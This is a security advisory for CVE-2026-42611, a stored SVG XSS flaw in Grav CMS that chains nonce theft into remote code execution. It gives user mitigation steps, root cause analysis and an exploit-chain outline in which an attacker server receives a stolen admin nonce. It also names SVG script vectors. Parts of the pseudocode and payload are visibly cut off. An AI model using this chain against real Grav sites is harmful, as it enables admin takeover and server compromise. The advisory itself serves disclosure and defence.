CVE-2026-42611: Grav CMS SVG Injection to RCE via Admin Nonce Chain
A low-privileged Grav CMS user can inject SVG payloads into page content, escalating stored XSS to full RCE by stealing admin nonces and chaining authenticated requests.
Grav is a popular website-building platform that lets people create and manage websites without needing to understand complicated code. Like most web platforms, it has an admin area where trusted users can control the site's content and settings.
Researchers have discovered a serious security flaw in Grav versions before 2.0.0-beta.2. The problem starts small: lower-level staff members (those with basic editing permissions) can sneak malicious code into pages by disguising it as an image file. Think of it like a worker at a restaurant being able to hide a secret camera in the kitchen because no one checks what they bring in.
When a site administrator logs in and visits one of these poisoned pages, the hidden code springs to life. It silently steals sensitive information about the website's configuration and security tokens—essentially grabbing the master keys to the kingdom. An attacker can then use those stolen keys to take complete control of the server and do anything they want: delete files, steal data, or use the server to attack other targets.
This is particularly dangerous for organizations that run multiple websites or handle sensitive information. Small businesses and nonprofits using Grav should pay attention, since they often have limited security staff.
Here's what you should do immediately: First, check if you're running Grav and update to version 2.0.0-beta.2 or later as soon as possible. Second, if you can't update right away, restrict which staff members can create pages—only trust your most senior administrators. Third, review who has edit access to your website and remove anyone who doesn't genuinely need it. These steps dramatically reduce your risk while you work on getting fully patched.
Want the full technical analysis? Click "Technical" above.
CVE-2026-42611 is a stored XSS-to-RCE chain in Grav CMS, a file-based PHP web platform. Any authenticated user with page-creation privileges — a role commonly granted to contributors and editors — can embed a raw <svg> element into page content. Grav's Markdown/HTML pipeline fails to sanitize SVG-embedded JavaScript, resulting in script execution in the browser context of any administrator who views the page.
The impact escalates beyond typical stored XSS because Grav's admin panel exposes a /admin/config/info endpoint that returns full system configuration, PHP environment details, and server internals without additional authentication checks beyond the session. The same XSS payload can exfiltrate the admin nonce — a CSRF token bound to the session — enabling the attacker to issue arbitrary authenticated admin API calls, including plugin installation and file writes, achieving Remote Code Execution. CVSS 8.9 (HIGH).
Root cause: Grav's page rendering pipeline passes raw HTML from Markdown content through the Twig templating engine without invoking a dedicated SVG/HTML sanitizer, allowing <svg onload=> and <svg><script> vectors to reach the browser DOM intact.
Affected Component
The vulnerable surface is Grav's page content renderer, specifically the interaction between the Parsedown Markdown parser (which permits inline HTML by default) and the Twig template layer that echoes page.content without escaping. All Grav versions prior to 2.0.0-beta.2 are affected.
Key files and components involved:
system/src/Grav/Common/Page/Medium/Medium.php — media embedding, no SVG stripping
system/src/Grav/Common/Twig/Extension/GravExtension.php — Twig filters, missing sanitize call on raw output
system/src/Grav/Common/Security.php — XSS detection logic that was bypassable via SVG namespace
Root Cause Analysis
Grav's Security::detectXss() method in Security.php scans page content for dangerous patterns before saving. The detection relied on a regex denylist that checked for common vectors like <script>, javascript:, and event handler attributes. SVG-specific vectors were not covered.
// Pseudocode reconstruction of Security::detectXss() — pre-patch
// system/src/Grav/Common/Security.php
bool Security::detectXss(string $content) {
// BUG: denylist patterns do not cover SVG namespace vectors
static patterns[] = {
"/"
// Vector 3: SVG animate with href (executes in WebKit/Blink)
"
Once the malicious page is saved, Twig renders it via {{ page.content|raw }}. The |raw filter explicitly disables Twig's auto-escaping, and no further sanitization pass runs at render time.
EXPLOIT CHAIN — CVE-2026-42611:
1. INITIAL ACCESS
Attacker holds a low-privileged Grav account (editor/contributor role).
Account can create or edit pages via /admin/pages.
2. PAYLOAD INJECTION
Create new page. In page content (Markdown editor), insert:
Save page. Grav's detectXss() does not flag │
│
│
└─────────────────────────────────────────────────────┘
/admin/config/info response body (partial):
┌─────────────────────────────────────────────────────┐
│ ... │
│ "admin-nonce": "a3f1cc92b047e831d9204f0a1bce7712" │← exfil target
│ "php_version": "8.2.10" │
│ "server_software": "Apache/2.4.57" │
│ "grav_root": "/var/www/html/grav" │← path disclosure
│ "user_accounts": ["admin","editor","attacker"] │
│ "installed_plugins": ["admin","email","form",...] │
└─────────────────────────────────────────────────────┘
ATTACKER SERVER RECEIVES:
GET /c?n=a3f1cc92b047e831d9204f0a1bce7712&s=
↑
nonce valid for session duration — used immediately for plugin install POST
Patch Analysis
The fix in 2.0.0-beta.2 operates at two levels: (1) Security::detectXss() gains SVG-aware patterns, and (2) the rendering pipeline adds an explicit sanitization pass using an allowlist-based HTML purifier.